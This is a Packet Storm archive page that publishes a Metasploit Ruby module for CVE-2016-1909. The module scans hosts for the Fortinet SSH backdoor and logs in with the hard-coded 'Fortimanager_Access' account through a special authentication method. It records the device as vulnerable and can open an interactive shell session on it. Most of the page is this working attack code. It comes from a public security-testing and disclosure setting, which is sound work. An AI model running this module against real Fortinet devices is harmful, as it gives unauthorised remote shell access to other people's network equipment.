exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Fortinet SSH Backdoor Scanner

Fortinet SSH Backdoor Scanner
Posted Sep 1, 2024
Authored by wvu, operator8203 | Site metasploit.com

This Metasploit module scans for the Fortinet SSH backdoor.

tags | exploit
advisories | CVE-2016-1909
SHA-256 | 29ba52cc385c46ba1a14c7c07c3609f6bc5abc288cf151e9e78dc8cd16d6f6ac

Fortinet SSH Backdoor Scanner

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::SSH
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::CommandShell
include Msf::Sessions::CreateSessionOptions
include Msf::Auxiliary::Report
include Msf::Auxiliary::ReportSummary

def initialize(info = {})
super(update_info(info,
'Name' => 'Fortinet SSH Backdoor Scanner',
'Description' => %q{
This module scans for the Fortinet SSH backdoor.
},
'Author' => [
'operator8203 <operator8203[at]runbox.com>', # PoC
'wvu' # Module
],
'References' => [
['CVE', '2016-1909'],
['EDB', '39224'],
['PACKETSTORM', '135225'],
['URL', 'https://seclists.org/fulldisclosure/2016/Jan/26'],
['URL', 'https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios']
],
'DisclosureDate' => '2016-01-09',
'License' => MSF_LICENSE
))

register_options([
Opt::RPORT(22)
])

register_advanced_options([
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
])
end

def run_host(ip)
factory = ssh_socket_factory

ssh_opts = ssh_client_defaults.merge({
port: rport,
# The auth method is converted into a class name for instantiation,
# so fortinet-backdoor here becomes FortinetBackdoor from the mixin
auth_methods: ['fortinet-backdoor']
})

ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

begin
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
Net::SSH.start(ip, 'Fortimanager_Access', ssh_opts)
end
rescue Net::SSH::Exception => e
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end

return unless ssh

print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")

version = ssh.transport.server_version.version

report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: version
)

shell = Net::SSH::CommandStream.new(ssh)

# XXX: Wait for CommandStream to log a channel request failure
sleep 0.1

if (e = shell.error)
print_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
return
end

info = "#{self.name} (#{version})"

ds_merge = {
'USERNAME' => 'Fortimanager_Access'
}

if datastore['CreateSession']
start_session(self, info, ds_merge, false, shell.lsock)
end

# XXX: Ruby segfaults if we don't remove the SSH socket
remove_socket(ssh.transport.socket)
end

def rport
datastore['RPORT']
end

end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close